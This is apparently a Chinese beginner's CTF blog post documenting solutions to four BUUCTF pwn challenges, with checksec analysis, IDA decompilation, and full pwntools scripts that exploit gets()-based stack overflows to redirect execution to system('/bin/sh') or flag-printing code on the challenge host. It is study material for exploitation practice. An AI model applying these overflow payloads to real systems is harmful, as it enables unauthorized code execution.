Featured image of post 【CTF】pwn学习之路

【CTF】pwn学习之路

小白初试pwn,会学会吗。。

初学者。。用于记录学习过程与笔记。

test_your_nc

先用checksec检查下:

checksec1

  1. RELRO
    Partial → GOT 表可写(易被 GOT overwrite 攻击)。Full 时 GOT 只读更安全。

  2. STACK CANARY
    未启用 → 栈溢出无检测,可直接覆盖返回地址。启用后栈破坏会崩溃。

  3. NX
    开启 → 栈/堆不可执行。

  4. PIE
    开启 → 代码地址随机化,需泄露地址。关闭则地址固定。

  5. RPATH/RUNPATH
    未设置 → 无额外库路径,降低劫持风险。

  6. Symbols
    64 → 保留符号(函数名等),易逆向分析。

  7. FORTIFY
    未启用 → 无堆栈保护。

再拖到IDA Pro里看看:

ida1

1
2
3
4
5
int __fastcall main(int argc, const char **argv, const char **envp)
{
  system("/bin/sh");
  return 0;
}

直接调用system()函数进入shell,所以直接使用netcat连接靶机:

1
nc ip port

nc1

发现直接连接上了,根目录就有flag,得到:flag{b6588539-d35f-4fde-b2b9-8c56d7fb66bd}

rip

checksec分析:

1
2
3
❯ checksec --file=./pwn1
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable   FILE
Partial RELRO   No canary found   NX disabled   No PIE          No RPATH   No RUNPATH   64 Symbols        No    0               1    ./pwn1

IDA Pro分析主函数:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11

int __fastcall main(int argc, const char **argv, const char **envp)
{
  char s[15]; // [rsp+1h] [rbp-Fh] BYREF

  puts("please input");
  gets(s, argv);
  puts(s);
  puts("ok,bye!!!");
  return 0;
}

同时注意到fun()函数:

1
2
3
4
int fun()
{
  return system("/bin/sh");
}

gets()函数不检查输入长度,所以可利用其来溢出s,到达shellcode也就是fun()

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
.text:0000000000401186
.text:0000000000401186 ; Attributes: bp-based frame
.text:0000000000401186
.text:0000000000401186 ; int fun()
.text:0000000000401186                 public fun
.text:0000000000401186 fun             proc near
.text:0000000000401186 ; __unwind {
.text:0000000000401186                 push    rbp
.text:0000000000401187                 mov     rbp, rsp
.text:000000000040118A                 lea     rdi, command    ; "/bin/sh"
.text:0000000000401191                 call    _system
.text:0000000000401196                 nop
.text:0000000000401197                 pop     rbp
.text:0000000000401198                 retn
.text:0000000000401198 ; } // starts at 401186
.text:0000000000401198 fun             endp

注意到shellcode位于40118A,所以我们要让其执行这个地址的命令。

那么如何溢出呢?首先要填满s[15],也就是15个字节,与此同时,还需要添加8个字节来顶掉基指针寄存器rbp;

rbp (Base Pointer Register) 是x86-64架构中的基指针寄存器,用于标记当前函数栈帧的起始位置 每个函数调用都会在栈上保存前一个函数的RBP值 , 这个保存操作占用固定的8字节空间, 在缓冲区溢出攻击中,这8字节是覆盖返回地址前必须越过的最后一个屏障, x86架构是4字节,x64架构是8字节 → 这是64位系统的关键特征

所以构建payload:

1
payload = b'q'*23 + p64(0x40118A)

先发送23个q使其溢出,后面接上shellcodefun()中终端函数的地址,尝试进入shell。

p64() 是 Python 中 pwntools 库的核心函数,用于将整数转换为64位小端序字节序列。在 pwn 漏洞利用中,它用于精确构造内存地址格式的 payload。

最终程序:

1
2
3
4
5
6
7
8
from pwn import *

host = "node5.buuoj.cn"
port = 25983
sh = remote(host, port)
payload = b'q'*23 + p64(0x40118A)
sh.sendline(payload)
sh.interactive()

详解:

新建一个sh对象,用于连接靶机以及操作靶机;

remote()函数:pwntools的核心函数,用于创建TCP连接 sendline()向靶机发送payload;

sendline():发送数据并在末尾自动添加 \n(0x0A) 重要:因为原程序使用 gets() 函数,该函数以 \n 或 EOF 为结束标志

interactive():作用:在攻击成功后进入交互式shell

发送内容

1
qqqqqqqqqqqqqqqqqqqqqqq + \x8A\x11\x40\x00\x00\x00\x00\x00 + \n

执行,获取到了shell,获得flag:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
PS C:\Users\root> & "D:/Program Files/python/python.exe" d:/CTF/项目/BUU/pwn/rip/hack.py
[x] Opening connection to node5.buuoj.cn on port 25983
[x] Opening connection to node5.buuoj.cn on port 25983: Trying 117.21.200.176
[+] Opening connection to node5.buuoj.cn on port 25983: Done
[*] Switching to interactive mode
ls

bin
boot
dev
etc
flag
home
...
var
cat flag
flag{7f35d897-a5fd-4505-84a7-2990b740f2d9}

warmup_csaw_2016

checksec:

1
2
3
❯ checksec --file='/home/wuko233/Desktop/pwn/warmup_csaw_2016/warmup_csaw_2016'
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable     FILE
Partial RELRO   No canary found   NX disabled   No PIE          No RPATH   No RUNPATH   No Symbols        No    0               2               /home/wuko233/Desktop/pwn/warmup_csaw_2016/warmup_csaw_2016

分析程序:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
__int64 __fastcall main(int a1, char **a2, char **a3)
{
  char s[64]; // [rsp+0h] [rbp-80h] BYREF
  char v5[64]; // [rsp+40h] [rbp-40h] BYREF

  write(1, "-Warm Up-\n", 0xAuLL);
  write(1, "WOW:", 4uLL);
  sprintf(s, "%p\n", sub_40060D);
  write(1, s, 9uLL);
  write(1, ">", 1uLL);
  return gets(v5);
}
1
2
3
4
int sub_40060D()
{
  return system("cat flag.txt");
}

和上面一道题差不多,还是利用gets()溢出,64+8=72,shellcode是sub_40060D,地址就位于0x40060D

所以,payload就是:

1
payload = b'q'*72 + p64(0x40060D)

完整:

1
2
3
4
5
6
7
8
from pwn import *

host = "node5.buuoj.cn"
port = 29765
sh = remote(host, port)
payload = b'q'*72 + p64(0x40060D)
sh.sendline(payload)
sh.interactive()

直接得到了flag:

1
2
3
4
[*] Switching to interactive mode
>flag{110426c9-307c-4a2e-b763-73e47ca4a4fb}
timeout: the monitored command dumped core
[*] Got EOF while reading in interactive

不过这道题其实应该不是这样做的。。因为主函数里sprintf(s, "%p\n", sub_40060D)是用来打印出shellcode函数地址的,也就是泄露地址,但是它的PIE未启用,也就是每次的地址都是固定的,这个语句就毫无意义了。

所以应该是这样的:

PIE启用,每次运行时函数地址都是随机的,需要攻击者通过sprintf(s, "%p\n", sub_40060D)来获取shellcode函数地址,再通过gets()溢出进而执行shellcode。

按照这个思路,再写一个脚本:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
from pwn import *

host = "node5.buuoj.cn"
port = 29765

sh = remote(host, port)
print(sh.recvuntil("WOW:"))  # 接收直到出现"WOW:"
location = sh.recvline().strip().decode("UTF-8") #获取到字节串,转化为字符串并去除\n
print("函数地址:" + location)
payload = b'a'*72 + p64(int(location, 16))  #p64()需传入int,所以把地址字符串转换为16进制的int
sh.sendline(payload)
sh.interactive()

得到flag:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
d:\CTF\项目\BUU\pwn\warmup_csaw_2016\hack.py:7: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  print(sh.recvuntil("WOW:"))
b'-Warm Up-\nWOW:'
函数地址:0x40060d
[*] Switching to interactive mode
>flag{110426c9-307c-4a2e-b763-73e47ca4a4fb}
timeout: the monitored command dumped core
[*] Got EOF while reading in interactive
[*] Interrupted
[*] Closed connection to node5.buuoj.cn port 29765

ciscn_2019_n_1

和上面一样:

1
2
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable     FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   73 Symbols        No    0               1               /home/wuko233/Desktop/pwn/

main:

1
2
3
4
5
6
7
int __fastcall main(int argc, const char **argv, const char **envp)
{
  setvbuf(_bss_start, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  func();
  return 0;
}

func:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
int func()
{
  char v1[44]; // [rsp+0h] [rbp-30h] BYREF
  float v2; // [rsp+2Ch] [rbp-4h]

  v2 = 0.0;
  puts("Let's guess the number.");
  gets(v1);
  if ( v2 == 11.28125 )
    return system("cat /flag");
  else
    return puts("Its value should be 11.28125");
}

分析一下,shellcode必须满足v2值为11.28125,所以需要通过gets()溢出来改变v2的值。

注意到:

1
2
  char v1[44]; // [rsp+0h] [rbp-30h] BYREF
  float v2; // [rsp+2Ch] [rbp-4h]

v1的定义下就是v2,所以可以溢出v1来修改v2的值。

v1长度为44,v2长度为4(float)。(byte)

这里补个笔记,长度判断也可以靠后面反编译的注释:

v1起始点:rbp-30h

v2起始点:rbp-4h

所以v1长度就是0x30(48)-0x4(4)=44

溢出v1还是和上面一样:'q'*44

接下来的主要问题是给v2赋值11.28125:

肯定是不能直接传进这个数的,因为它是浮点,我们需要传入字节,所以可以用struct库:

Struct 模块用于在字节字符串和 Python 原生数据类型之间进行转换。它可以将 Python 数据打包成二进制数据,或将二进制数据解包成 Python 数据。

struct.pack() 函数可以将数据打包成二进制格式。格式字符串指定了数据的类型和顺序。

1
2
3
4
5
6
7
import struct

num = 11.28125
num2byte = struct.pack("f", num) # float类型转byte
print(f"{num} 转换结果:{num2byte}")

# 11.28125 转换结果:b'\x00\x804A'

综上可得payload:

1
2
3
4
num = 11.28125
num2byte = struct.pack("f", num)
print(f"{num} 转换结果:{num2byte}")
payload = b'q'*44 + num2byte

总体:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
from pwn import *
import struct

host = "node5.buuoj.cn"
port = 25333

sh = remote(host, port)

num = 11.28125
num2byte = struct.pack("f", num)
print(f"{num} 转换结果:{num2byte}")
payload = b'q'*44 + num2byte
print(sh.recvuntil("Let's guess the number."))
sh.sendline(payload)
sh.interactive()

拿到flag:

1
2
3
4
5
b"Let's guess the number."
[*] Switching to interactive mode

flag{3214184b-a04b-419e-b114-52e08022514e}
[*] Got EOF while reading in interactive

主包主包,float转byte还是太麻烦,有没有更简单粗暴一点的方法?有的兄弟,有的:

1
2
3
  gets(v1);
  if ( v2 == 11.28125 )
    return system("cat /flag");

既然你源码里有system("cat /flag"),那我们可不可以直接覆盖到这个shellcode的地址,直接执行shellcode?答案是肯定的!

先来查查shellcode地址:

1
.text:00000000004006BE                 mov     edi, offset command ; "cat /flag"

得到地址:0x4006BE

已知v1长44,v2长4,旧rbp长8,那我问你,需要顶掉多少byte?没错,也就是44+4+8=56!

再来构建payload:

1
payload = b'q'*56 + p64(0x4006BE)

EZ,拿到了!

1
2
3
4
5
6
7
b"Let's guess the number."
[*] Switching to interactive mode

Its value should be 11.28125
flag{47e47e55-73c9-4c29-98cc-8e3e879669ec}
timeout: the monitored command dumped core
[*] Got EOF while reading in interactive

完整脚本:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
from pwn import *
import struct

host = "node5.buuoj.cn"
port = 26748

sh = remote(host, port)

payload = b'q'*56 + p64(0x4006BE)
print(sh.recvuntil("Let's guess the number."))
sh.sendline(payload)
sh.interactive()
Licensed under CC BY-NC-SA 4.0